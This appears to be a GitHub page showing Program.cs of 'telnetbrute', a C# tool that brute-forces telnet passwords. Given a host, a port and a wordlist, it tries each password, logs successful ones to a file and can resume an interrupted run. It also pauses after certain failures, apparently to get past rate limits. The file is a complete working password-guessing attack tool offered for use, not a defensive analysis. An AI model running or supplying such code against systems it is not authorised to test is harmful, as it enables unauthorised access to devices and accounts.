-
Notifications
You must be signed in to change notification settings - Fork 1
/
Program.cs
86 lines (75 loc) · 1.95 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
using System;
using System.IO;
using MinimalisticTelnet;
namespace telnetbrute
{
class MainClass
{
public static void Main (string[] args)
{
StreamWriter writer = null;
Console.CancelKeyPress += (sender, eventArgs) => {
eventArgs.Cancel = false;
writer.Close();
Console.WriteLine("shutting down");
};
if (args.Length < 3) {
showUsage ();
}
string passwordpath = args[2];
string host = args [0];
int port = int.Parse(args [1]);
writer = new StreamWriter ("passwords.found.txt");
bool shouldRead = true;
string password = null;
using (StreamReader reader = new StreamReader (passwordpath)) {
bool doingResume = false;
string lastPass = null;
if (args.Length == 4) {
doingResume = true;
lastPass = resume (args [3], reader);
}
while (reader.BaseStream.CanRead) {
if (shouldRead) {
if (doingResume) {
doingResume = false;
password = lastPass;
} else {
password = reader.ReadLine ();
}
}
try {
shouldRead = true;
TelnetConnection tc = new TelnetConnection(host,port);
Console.WriteLine("Try:" + password);
tc.Login(null,password,250);
if(tc.IsConnected){
writer.WriteLine(password);
Console.WriteLine("****DING DING " + password);
}
} catch (Exception e) {
shouldRead = false;
Console.WriteLine (e.Message);
if (e.Message == "Failed to connect : no password prompt") {
System.Threading.Thread.Sleep (30000);
}
}
}
reader.Close ();
}
writer.Close ();
}
private static string resume(string lastPass,StreamReader reader){
while (reader.BaseStream.CanRead) {
string currentPassword = reader.ReadLine ();
if (currentPassword == lastPass) {
return lastPass;
}
}
return "";
}
private static void showUsage(){
Console.WriteLine ("telnetbrute host port passwordpath (optional)lastpassword");
}
}
}